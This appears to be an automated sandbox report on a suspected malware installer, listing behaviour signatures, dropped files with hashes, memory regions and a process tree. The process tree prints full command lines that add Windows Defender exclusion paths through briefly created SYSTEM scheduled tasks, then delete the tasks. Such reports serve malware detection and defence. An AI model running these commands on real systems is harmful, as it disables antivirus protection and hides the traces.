Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/08/2026, 23:22

General

  • Target
    install_q0.3.15.exe
  • Size 25.8MB
  • Sample260830-3c2frssapc
  • SHA256 b3820b8e3c88a541207fcf168bfd456e77e434995fd44e34a3829b09f49d6289
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4888
  • C:\Users\Public\u9BCLU\6AhCEj.exe
    C:\Users\Public\u9BCLU\6AhCEj.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\u9BCLU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2308
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\u9BCLU\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5368
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:6128
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5480
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2708
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5256
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2852
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1540
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1212
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1788
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3028
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5748
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4604
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2968
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2756
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3184
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:6076
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1148
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3040
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3116
                      • C:\Users\Public\u9BCLU\6AhCEj.exe
                        "C:\Users\Public\u9BCLU\6AhCEj.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5032
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\u9BCLU" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5212
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\u9BCLU" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5932
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4916
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2792
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3928
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5536
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5492
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5000
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3140

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              6AhCEj.exe

                              • Path C:\Users\Public\u9BCLU\6AhCEj.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\u9BCLU\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 823e5e89c84bea5ec6e738358c5ab0470be7b5cc94d36041f6c9928c4c7cb3d2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\u9BCLU\adoresd.dat
                              • Size 4.7MB
                              • SHA256 5c8465ab4751e02c502b26212caf53c2219cfc6e9b5c4a4e38023c61c541a57c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\u9BCLU\msadox.tb
                              • Size 8KB
                              • SHA256 8c896ad4f8c3824f63a01044f008c6be53899e02864773fd708f99a4d40e9236
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1168-550-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-556-0x000002831B270000-0x000002831B2FA000-memory.dmp

                              memory/1168-596-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-529-0x00007FFE13B70000-0x00007FFE13B72000-memory.dmp

                              memory/1168-530-0x00007FFDF5DD0000-0x00007FFDF62EE000-memory.dmp

                              memory/1168-535-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-564-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-563-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-538-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-537-0x00007FFE13B80000-0x00007FFE13B82000-memory.dmp

                              memory/1168-542-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-544-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-545-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-543-0x000002831A610000-0x000002831AE97000-memory.dmp

                              memory/1168-557-0x000002831B270000-0x000002831B2FA000-memory.dmp

                              memory/1168-554-0x0000028319BF0000-0x0000028319C3E000-memory.dmp

                              memory/1168-558-0x000002831B270000-0x000002831B2FA000-memory.dmp

                              memory/1168-555-0x000002831B270000-0x000002831B2FA000-memory.dmp

                              memory/4888-523-0x0000000000020000-0x000000000002E000-memory.dmp

                              memory/4888-0-0x0000000000020000-0x000000000002E000-memory.dmp

                              memory/4888-1-0x00000000004D0000-0x00000000004DC000-memory.dmp

                              memory/4888-503-0x00007FFE04930000-0x00007FFE04940000-memory.dmp

                              memory/4888-524-0x00007FFE04930000-0x00007FFE04940000-memory.dmp

                              memory/5032-574-0x00007FFE13B80000-0x00007FFE13B82000-memory.dmp

                              memory/5032-572-0x0000019778F90000-0x0000019779817000-memory.dmp

                              memory/5032-575-0x0000019778F90000-0x0000019779817000-memory.dmp

                              memory/5032-579-0x0000019778F90000-0x0000019779817000-memory.dmp

                              memory/5032-583-0x00007FFE13B70000-0x00007FFE13B72000-memory.dmp

                              memory/5032-580-0x0000019778F90000-0x0000019779817000-memory.dmp

                              memory/5032-582-0x0000019778F90000-0x0000019779817000-memory.dmp

                              memory/5032-581-0x0000019778F90000-0x0000019779817000-memory.dmp

                              memory/5032-569-0x00007FFDF5DD0000-0x00007FFDF62EE000-memory.dmp